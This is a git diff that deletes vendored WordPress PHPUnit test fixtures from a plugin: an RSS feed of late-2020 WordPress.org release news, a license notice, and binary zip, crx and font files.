          - - The Month in WordPress: November 2020 - https://wordpress.org/news/2020/12/the-month-in-wordpress-november-2020/ - - - Wed, 02 Dec 2020 09:13:48 +0000 - - https://wordpress.org/news/?p=9283 - - - November 2020 saw several updates to the WordPress 5.6 release. Read on to follow all the latest news from the WordPress world!

          - - - -
          - - - -

          WordPress 5.6 updates

          - - - -

          The Core team released WordPress 5.6 Beta 3 on Nov. 2, Beta 4 on Nov. 12, release candidate 1 on Nov. 17, and release candidate 2 on Dec. 1. You can test the Beta versions and the release candidates by downloading them from WordPress.org or by using the WordPress Beta Tester plugin. Check out the WordPress 5.6 field guide to understand the features of WordPress 5.6 and learn how you can incorporate them into your websites. WordPress 5.6 will be out by Dec. 9, 2020.

          - - - -

          But our work is never done: You can submit feature suggestions for WordPress 5.7 by Dec. 15. 

          - - - -

          Want to contribute to upcoming WordPress releases? Join the WordPress Core dev chats on Wednesdays at 5 a.m. and 8 p.m. UTC in the #core channel on the Make WordPress Slack, and catch up with recaps on the Core team blog. If you would like to help with WordPress 5.6 outreach, contact the WordPress Marketing team on the #marketing channel.

          - - - -

          Gutenberg 9.3 and 9.4 are out

          - - - -

          Contributor teams released Gutenberg Version 9.3 on Nov. 4 and Version 9.4 on Nov. 18. Both versions include  several improvements to Full Site Editing (FSE) flows, in addition to bug fixes and feature upgrades. Version 9.3 is the first release that isn’t included entirely in WordPress 5.6; the version automatically enables FSE experiments when a block-based theme is active. Version 9.4 introduces some new features like percentage width for button blocks, block variation transformations, social icon support, and font size support for the list block. You can find out more about the Gutenberg roadmap in the What’s next in Gutenberg blog post.

          - - - -

          Want to get involved in building Gutenberg? Follow the Core team blog, contribute to Gutenberg on GitHub, and join the #core-editor channel in the Making WordPress Slack group.

          - - - -

          Learn WordPress updates

          - - - -

          WordPress contributor teams are all set to launch Learn WordPress in December. Community members can now watch video workshops to learn about various WordPress topics, participate in discussion groups, and use lesson plans for organizing their own workshops. Contributor teams have launched quizzes and are also working on setting standards for workshops.

          - - - -

          Want to contribute to Learn WordPress? You can now submit a workshop application (submissions in languages other than English are welcome!), apply to become a discussion group leader, organize discussions for your local WordPress meetup group, or help fix issues with existing lesson plans.

          - - - -

          WordPress 5.6 Translations and Polyglots survey

          - - - -

          WordPress 5.6 is ready to be translated and is now at hard string freeze. If you would like to contribute, check out these instructions and ensure that your locale is ready for an automated release. The Polyglots team has also kicked off its translator research survey. Please participate in the survey, share the survey link with members of your locale, and help amplify the Facebook, Twitter, and LinkedIn posts about it.

          - - - -

          Want to help WordPress speak your language? Follow the Polyglots team blog and join the #polyglots channel in the Making WordPress Slack group

          - - - -
          - - - -

          Further Reading:

          - - - - - - - -

          Have a story that we should include in the next “Month in WordPress†post? Please submit it here.

          -]]>
          - - - - 9283
          - - WordPress 5.6 Release Candidate 2 - https://wordpress.org/news/2020/12/wordpress-5-6-release-candidate-2/ - - - Tue, 01 Dec 2020 22:09:28 +0000 - - - https://wordpress.org/news/?p=9274 - - - The second release candidate for WordPress 5.6 is here!

          - - - -

          WordPress 5.6 is slated for release on December 8, 2020, and we need your help to get there—if you haven’t tried 5.6 yet, now is the time!

          - - - -

          You can test WordPress 5.6 release candidate 2 in two ways:

          - - - - - - - -

          Thank you to all of the contributors who tested the Beta releases and gave feedback. Testing for bugs is a critical part of polishing every release and a great way to contribute to WordPress.

          - - - -

          Plugin and Theme Developers

          - - - -

          Please test your plugins and themes against WordPress 5.6 and update the Tested up to version in the readme file to 5.6. If you find compatibility problems, please be sure to post to the support forums. That way, those can be figured out before the final release.

          - - - -

          For a more detailed breakdown of the changes included in WordPress 5.6, check out the WordPress 5.6 beta 1 post. The WordPress 5.6 Field Guide is also out! It’s your source for details on all the major changes.

          - - - -

          How to Help

          - - - -

          Do you speak a language other than English? Help translate WordPress into more than 100 languages!

          - - - -

          Think you found a bug? Post it to the Alpha/Beta area in the support forums. We would love to hear from you! If you’re comfortable writing a reproducible bug report you can file one on WordPress Trac. Do not forget to check the list of known bugs!

          -]]>
          - - - - 9274
          - - WordPress 5.6 Release Candidate - https://wordpress.org/news/2020/11/wordpress-5-6-release-candidate/ - - - Tue, 17 Nov 2020 22:43:50 +0000 - - - https://wordpress.org/news/?p=9258 - - - The first release candidate for WordPress 5.6 is now available!

          - - - -

          This is an important milestone in the community’s progress toward the final release of WordPress 5.6.

          - - - -

          “Release Candidate†means that the new version is ready for release, but with millions of users and thousands of plugins and themes, it’s possible something was missed. WordPress 5.6 is slated for release on December 8, 2020, but we need your help to get there—if you haven’t tried 5.6 yet, now is the time!

          - - - -

          You can test the WordPress 5.6 release candidate in two ways:

          - - - - - - - -

          Thank you to all of the contributors who tested the Beta releases and gave feedback. Testing for bugs is a critical part of polishing every release and a great way to contribute to WordPress.

          - - - -

          What’s in WordPress 5.6?

          - - - -

          The final release of 2020 continues the annual tradition of a new default theme that is custom built to showcase the new features and functionality of the software. Continued progress on the block editor is especially clear in this release, which brings more blocks to more places, and fewer clicks to implement your layouts.

          - - - -

          WordPress 5.6 also has lots of refinements to polish the developer experience. To learn more, subscribe to the Make WordPress Core blog and pay special attention to the developer notes tag for updates on those and other changes that could affect your products.

          - - - -

          Plugin and Theme Developers

          - - - -

          Please test your plugins and themes against WordPress 5.6 and update the Tested up to version in the readme file to 5.6. If you find compatibility problems, please be sure to post to the support forums, so those can be figured out before the final release.

          - - - -

          The WordPress 5.6 Field Guide, due very shortly, will give you a more detailed dive into the major changes.

          - - - -

          How to Help

          - - - -

          Do you speak a language other than English? Help us translate WordPress into more than 100 languages! This release also marks the hard string freeze point of the 5.6 release schedule.

          - - - -

          If you think you’ve found a bug, you can post to the Alpha/Beta area in the support forums. We’d love to hear from you! If you’re comfortable writing a reproducible bug report, file one on WordPress Trac, where you can also find a list of known bugs.

          -]]>
          - - - - 9258
          - - WordPress 5.6 Beta 4 - https://wordpress.org/news/2020/11/wordpress-5-6-beta-4/ - - - Thu, 12 Nov 2020 23:49:45 +0000 - - - https://wordpress.org/news/?p=9249 - - - WordPress 5.6 Beta 4 is now available for testing!

          - - - -

          This software is still in development, so we recommend that you run this version on a test site.

          - - - -

          You can test the WordPress 5.6 beta in two ways:

          - - - - - - - -

          The current target for the final release is December 8, 2020. This is just over three weeks away, so your help is needed to ensure this release is tested properly.

          - - - -

          Thank you to all of the contributors that tested the beta 3 development release and provided feedback. Testing for bugs is an important part of polishing each release and a great way to contribute to WordPress.

          - - - -

          Some Highlights

          - - - -

          Since beta 3, 42 bugs have been fixed. Here is a summary of a few changes included in beta 4:

          - - - - - - - -

          To see all of the features for each Gutenberg release in detail, check out the release posts: 8.6, 8.7, 8.8, 8.9, 9.0, 9.1, 9.2, and 9.3.

          - - - -

          Developer notes

          - - - -

          WordPress 5.6 has lots of refinements to the developer experience. To keep up, subscribe to the Make WordPress Core blog and pay special attention to the developers’ notes for updates on those and other changes that could affect your products.

          - - - -

          How to Help

          - - - -

          If you think you’ve found a bug, you can post to the Alpha/Beta area in the support forums. We’d love to hear from you!

          - - - -

          If you’re comfortable writing a reproducible bug report, file one on WordPress Trac, where you can also find a list of known bugs.

          - - - -

          Props to @tonyamork, @audrasjb for technical notes and @angelasjin, @yvettesonneveld, @cguntur, @cbringmann for final review.

          -]]>
          - - - - 9249
          - - WordPress 5.6 Beta 3 - https://wordpress.org/news/2020/11/wordpress-5-6-beta-3/ - - - Mon, 02 Nov 2020 21:23:07 +0000 - - - https://wordpress.org/news/?p=9234 - - - WordPress 5.6 Beta 3 is now available for testing!

          - - - -

          This software is still in development, so we recommend that you run this version on a test site.

          - - - -

          You can test the WordPress 5.6 beta in two ways:

          - - - - - - - -

          The current target for the final release is December 8, 2020. This is just five weeks away, so your help is needed to ensure this release is tested properly.

          - - - -

          Thank you to all of the contributors that tested the beta 2 development release and provided feedback. Testing for bugs is an important part of polishing each release and a great way to contribute to WordPress.

          - - - -

          Some Highlights

          - - - -

          Since beta 2, 20 bugs have been fixed. Here is a summary of a few changes included in beta 3:

          - - - -
          • Added block patterns for Twenty Twenty (see #51098) and Twenty Nineteen (see #51099) themes.
          • Added theme support for navigation-widgets (see #51445).
          • Fixed incorrect slashes in the URL if the parent is empty for REST API (see #44745).
          • Added a test to Site Health to verify that the Authorization header is working as expected for Application Passwords (see #51638).
          • 10 additional bugs fixed in the block editor (see #26588).
          - - - -

          To see all of the features for each Gutenberg release in detail, check out the release posts: 8.68.78.88.99.09.1, 9.2, and 9.3.

          - - - -

          Developer notes

          - - - -

          WordPress 5.6 has lots of refinements to the developer experience as well. To keep up, subscribe to the Make WordPress Core blog and pay special attention to the developers’ notes for updates on those and other changes that could affect your products.

          - - - -

          How to Help

          - - - -

          If you think you’ve found a bug, you can post to the Alpha/Beta area in the support forums. We’d love to hear from you!

          - - - -

          If you’re comfortable writing a reproducible bug report, file one on WordPress Trac, where you can also find a list of known bugs.

          - - - -

          Props to @hellofromtonya for help and @chanthaboune for final review.

          -]]>
          - - - - 9234
          - - The Month in WordPress: October 2020 - https://wordpress.org/news/2020/11/the-month-in-wordpress-october-2020/ - - - Mon, 02 Nov 2020 18:14:00 +0000 - - https://wordpress.org/news/?p=9225 - - - October 2020 was a notable month for WordPress lovers, thanks to the release of several products and updates. Read on to keep up with all the latest news!

          - - - -
          - - - -

          The 2020 WordPress Annual Survey is out

          - - - -

          The team published the 2020 WordPress Annual survey —  to help those who build WordPress to understand more about our software usage and our contributors’ experience. The Annual Survey will be open for at least 6 weeks and is available in French, German, Japanese, Russian, and Spanish. The survey results (once complete) will be posted on WordPress.org/news. The 2019 survey results have also been released and can now be viewed as slides or downloaded in PDF format

          - - - -

          WordPress Translation celebrations spanned four weeks

          - - - -

          The last week of September and most of October were focused on recruiting and encouraging polyglot contributors to the WordPress translation project. What was originally envisioned as a single-day event lasted 24 days! The Polyglots and Marketing Teams are exploring how future mini-events can be supported to continue building the momentum. Recordings of the live talks and interviews with contributors are available on YouTube. Write-ups from the different events are on the WPTranslationDay website.

          - - - -

          Want to help WordPress speak your own language? Follow the Polyglots team blog and join the #polyglots channel in the Making WordPress Slack group

          - - - -

          WordPress maintenance and beta releases

          - - - -

          The Core team released WordPress 5.5.3 on Oct. 31, following the release of Version 5.5.2 on Oct. 29. Both releases fix several bugs and security issues with WordPress. You can update to the latest version directly from your WordPress dashboard or download it now from WordPress.org.  The team also released WordPress 5.6 Beta 1 on Oct. 20, followed by Beta 2 on Oct. 27. When ready, the final release will include improvements to the editor, auto-updates for major releases, PHP 8 support, and the Twenty Twenty One theme. You can test the Beta versions by downloading them from WordPress.org or using the WordPress Beta Tester plugin.

          - - - -

          Want to be involved in the next release? Follow WordPress 5.6 updates on the development cycle and sign-up for the code review/commit office hours. You can help build WordPress Core by following the Core team blog and joining the #core channel in the Making WordPress Slack group. If you would like to help out with WordPress 5.6 outreach, contact the WordPress Marketing team on the #marketing channel.

          - - - -

          Gutenberg 9.2 is released

          - - - -

          Version 9.2 of the Gutenberg plugin came out on Oct. 21. This release offers support for video subtitles, the ability to transform selected blocks into the columns block, background patterns in cover blocks, along with several exciting features such as improvements to the widget screen, as well as bug fixes. You can find out more about the Gutenberg roadmap in the What’s next in Gutenberg blog post.

          - - - -

          Want to get involved in building Gutenberg? Follow the Core team blog, contribute to Gutenberg on GitHub, and join the #core-editor channel in the Making WordPress Slack group.

          - - - -

          Learn WordPress is gearing up for launch

          - - - -

          The Learn WordPress initiative, which offers WordPress video workshops followed by interactive discussions, is aiming to put out two courses by the end of the year as part of its full launch. The team is working on creating courses and is requesting feedback from community members on the planned list of courses.

          Want to contribute to Learn WordPress? You can now submit a workshop application (submissions in non-English languages are welcome), apply to become a discussion group leader, organize discussions for your local WordPress meetup group, or update screenshots on existing lesson plans.

          - - - -
          - - - -

          Further Reading:

          - - - - - - - -

          Have a story that we should include in the next “Month in WordPress†post? Please submit it here.

          -]]>
          - - - - 9225
          - - WordPress 5.5.3 Maintenance Release - https://wordpress.org/news/2020/10/wordpress-5-5-3-maintenance-release/ - - - Fri, 30 Oct 2020 20:25:44 +0000 - - https://wordpress.org/news/?p=9212 - - - WordPress 5.5.3 is now available. 

          - - - -

          This maintenance release fixes an issue introduced in WordPress 5.5.2 which makes it impossible to install WordPress on a brand new website that does not have a database connection configured. This release does not affect sites where a database connection is already configured, for example, via one-click installers or an existing wp-config.php file.

          - - - -

          5.5.3-alpha Issue

          - - - -

          Earlier today — between approximately 15:30 and 16:00 UTC — the auto-update system for WordPress updated some sites from version 5.5.2 to version 5.5.3-alpha. This auto-update was due to an error in the Updates API caused by the 5.5.3 release preparations (see more here). The 5.5.3-alpha version at this point was functionally identical to 5.5.2 as no development work had been started on 5.5.3; however, the following changes may have been made to your site:

          - - - -
          • The default “Twenty†themes installed as part of the pre-release package.
          • The “Akismet†plugin installed as part of the pre-release package.
          - - - -

          These themes and plugins were not activated and therefore remain non-functional unless you installed them previously. It is safe to delete these features should you prefer not to use them. 

          - - - -

          If you are not on 5.5.2, or have auto-updates for minor releases disabled, please manually update to the 5.5.3 version by downloading WordPress 5.5.3 or visiting Dashboard → Updates and click “Update Now.â€

          - - - -

          For more technical details of the issue, we’ve posted on our Core Development blog.

          - - - -

          Thanks and props!

          - - - -

          Thanks to those who contributed to the 5.5.3 release: @audrasjb, @barry, @chanthaboune, @cbringmann, @clorith, @davidbaumwald, @desrosj, @hellofromtonya, @jeffpaul, @johnbillion, @garubi, @metalandcoffee, @mukesh27, @otto42, @punitsoftac, @sergeybiryukov, @whyisjake, and @xknown.

          -]]>
          - - - - 9212
          -
          -
          diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/_source-license b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/_source-license deleted file mode 100644 index 580a1492..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/_source-license +++ /dev/null @@ -1,33 +0,0 @@ -The following files were sourced from https://github.com/ZJONSSON/node-unzipper a fork of https://github.com/EvanOxfeld/node-unzip - -* archive-comment.zip -* archive-cp866.zip -* archive-directory-entry.zip -* archive-encrypted.zip -* archive-flags-set.zip -* archive-invalid.zip -* archive-large.zip -* archive-uncompressed.zip -* archive.crx - -Copyright (c) 2012 - 2013 Near Infinity Corporation -Copyright (c) 2016 - 2024 Ziggy Jonsson (ziggy.jonsson.nyc@gmail.com) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-comment.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-comment.zip deleted file mode 100644 index 0ee7736230ffc817010dc4dae5bd49ee66e52bcb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128 zcmW;CI}*Ym5CG7gQ*Z&pE`(oh!!97qsL2RP;pug(Uh}T<9({kwHs>)mrS5&+9(61~ z+er)WPc@Fh>O!&iEJsV)x(y;>^hB96U_p)GlObzM<%}-af_?=D6c|k6T)8qt6O69^ MAH?XNB3Bp07o!&^MF0Q* diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-cp866.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-cp866.zip deleted file mode 100644 index e6923b1e7ae371409d08fbfd494cc35416d884d8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128 zcmWN?NfN>!5CFhCuiyiQVOR$98-_)wQb`HP!PjeF`YNB<$6L0wj=3xK=dP{NSxrFkqZ?D MTgB|(BDFW-2Vk2fTL1t6 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-directory-entry.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-directory-entry.zip deleted file mode 100644 index a6fec88b2f3cbe4fbe51252b24ba4bb5bde3a46c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129 zcmWN{yAi`63;@ucDOex|%*V*vfCPcNB={oiBGbp!Yu;79+{Z_@IS<~IdiMEvRbFn} znHL;y#YaJP88JFZZfW&l_cmcNk+h9~PzWO=T>&<#+0|^_h6P9)N+E|_?uH@Mgn)sp N&t7o<6}h^o#UJpKC}IEr diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-encrypted.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-encrypted.zip deleted file mode 100644 index 4c1134c5c0e30c1894ed2fc2cd9f5f12f5bd12cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129 zcmWN_%MHRX3;@u3rpN*`v1xwY#&uj02}p%Y4@^%_PkN_(w2!xK$Fb|;+@l}2=cdzT z`>qp@m(yL?onS_!5CFhCugC`sOBf*e4YOdVQb{>62Vbv!=}X?)$7|Zp^U%%Odp~cFrt|;( zgENh%)kDZ$-i*$Z?lnN#e9lk`t&UMJVU;YA8Z1DxE?J;p;jk_-x0)Cohg2hQ4ggdb NQ!(1VGI{Tu`2pB8C!zoV diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-large.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-large.zip deleted file mode 100644 index 79f116cd5086fb7a9cbc4fcc3e654b26d969109d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 132 zcmWN{yAi`63;@vHQ?Nh`5`S+47zOT<;ES+}OdnUTc~|{%A0N@?Jb07x+2`X$yxz7m zuVuU?AGOE}meF^?EunQ=R2UOMv^#kKTf7EJPz(g^(3J|PLsT&%5_nrF+>a7cNuaE$ OdEx%6!XhZ+%<=~rMkkg4 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-macos.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-macos.zip deleted file mode 100644 index afdae32e8e792107dfc2ed8c67dcb0fdef5c3fe4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129 zcmWN|OA^8$3;@tQr{Dq>Ody5cCj5jMm5!-hczU~ft9RCqjQQ66ICj~Ld5q)sY_eST zZ(8zv8QE(#=UvTFv~&hf+e#HEIB+FmEtL?MsQE@A0dus@VE`m#pOBixfGvl@E9Zt+ MWF_NQHP~p?AEj3&+5i9m diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-ubuntu-nautilus.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-ubuntu-nautilus.zip deleted file mode 100644 index 752263641c568026f919a01cf746eedf2c6c9b17..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128 zcmWN@Ne;sx3;@78uiyg>GRQ3X4U1in+7i_yhrYf!&0O@AF+aMmb;xeabF9aUWxMTX z+3I{7IjEWo)ErGq&ldeom|6k6?~n;%Aa3N*x(tAcm;qw6!G%;)^BkKm4x$GHmkAh@ Kj34QcqWS}sxhB2< diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-uncompressed.zip b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-uncompressed.zip deleted file mode 100644 index 9ecc1374d8968345cd112e0f1c00af253a5f5e54..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128 zcmWN?!4bkB5CFhGRnUNe1MYxy0~`@%R5F5jSiSCNulk;SykuMJoV!x@zHX0WZvWdS zZ)H5yJZn)Gh|yWjmJHJFG(`qTHi6BInlr-@lOs=s$q=&ksbB_=WFgo9E}3jHIAaMh Lh}pkYx)8+=eaa>L diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive.crx b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive.crx deleted file mode 100644 index c07b21c6c11446a4f845d834c9600d122d3b624f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2202 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 L6g++;or~fRxxpts diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.otf b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.otf deleted file mode 100644 index 8db0f64c67ddd51c0ca97a37b4b791bcd9c2ae19..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 254960 zcmdSB33OD&(>Gjw@10~aNha%rBm@{hwtykqun9<37TLqFiNGY8ED(~A1q1~Gq6niX z$PNLNfRZ30AgCy-h=?pAQISOgC<3yHI7ueqzE#~5CjaF*=l#C#eD68$^Ox%Cd;8X} zy1Tl%x~K9C88KoActZ)uFf<`K*?2!=dMtoXAjsDC$;l%It!Otb1LU&`0EG2TOiE6h z`}}5*i+W=Hao?dsQnp2VybJQHBLD{O=$m4W@9=TNMv#l~y>IZ4l+MvB2ECFC!1`eO ziD^?T`J*+zyaV8I4nWg9%W6q)x#8AIe0LH5b;-g9-rs2d!S;bze=2KA(Tgd6#;-tp zBY@wjDV7)Wm7<~eigiQcmTQ?}-LbU^%3~V=w6Xblg+=NVhz8LAjqi=XkjilM@qnc- zP4MaYNb=O;1Az129kx?h_0ol{j&=1vc&yW=VpY7P7x&0YA3O$!oxy zRXKS#@Rj_WygLk+zH#zeFvxwKyaxoz3!Jn{d2d*vx#r~c z5b9QeBhM5M)PEcP6FdWdrg8ET=viwgFGCmhjFVTO6?@CcYao;zb@FatWcQrBJCsSS zoV*so<)%*F1KP_kIC&k!%j=xHC-hb%C+`J4l~gD1%~~l3oV*@l-HIUr@*p2(KmlY! zCS*Yo&OtOp@_$AcflsXXWC*sgLN0PCV8OBwxuN(?9!$dLY5c1=D8@1ipB3=;?YXof z{IU>wKxh14CSp*FVn~Gu{3;Ko@TYmmWkL>0%0Mm`+Z5t+(u*()oroO(67uqA6l7;+ z6&a%=qa%$YvaH4-`PN)xiY2$uIJ6*dk~OW!7*|}Bl~+(`Y@bzBlwa7RbLY(LqO9W7 zh_t*Zoip?DGIOjMdAUV}o%8U^Li`Zr{%7~#iClo;s759#or8)LVAYygoMS;I20Ian z|BHcVpfAc8g7lduvKj{J>3{z|CL%I2<{4TH&kzXd{`3=>|EY=b-@kvNneoY2BT+*d z^lUzS#zvaKNNYi1c3!TLqq=(fKWg{Cr&2b88F4s_I9CN&rlSH=`0z}|XL&e}MjQ;+ zyi(g-Y-QxFW?-3$Ul{RQ8d{Q8#JgbSZL+bg5$%IIRfJ!P`XrnJveH6qlg({Tbhi+v z!8KjR>_Vf(SX5w1w@$GXOg83a82j=`H(GMjjZ-W$jHy;*fi*L`u*h0qO*dxe8q=%= zMHVb46&GX|re~)W;dm9I%t3rK^H7Bu+!T$_pQ}#_=c3wF&qYP3XPx-gObzzV#6!SUG`xog`oMX)87Zw$#XXATvP{J6K zxj=GXDad7@km)!GWMD>TiySP;sK}*=;Ved;hOPkHkYl2@DLAVGv2?9Om*j!}BB2wu z`uCL=g+oXGgzFTV{VQ&RHWrx1O`E(*DtCTH)L1x3v9yvQ4u+v53+mPb%Z7n$aHoaX z8(I+g_?{L489)w}SxKrMEplHy^*x*5;BBCPD<+{G*OKqAZJI9imV>M1kFN-TLIc}KIQq;rP z;Cu_y3bONy3L^@$b0YEzGCL1RMwJ?RB24aovmZ`F`>z6NzZL(&#EvXuJjb~(P^4;n z_c=yJG~5njM-$sQa1b(7bo^64ZSo*By)j#wJE1*FDHfS^cfWtpJsox5g}Q?y+|dnn@8d{tB%|(is5?_1sn^uQ z>JD|2xhIUztG`?S 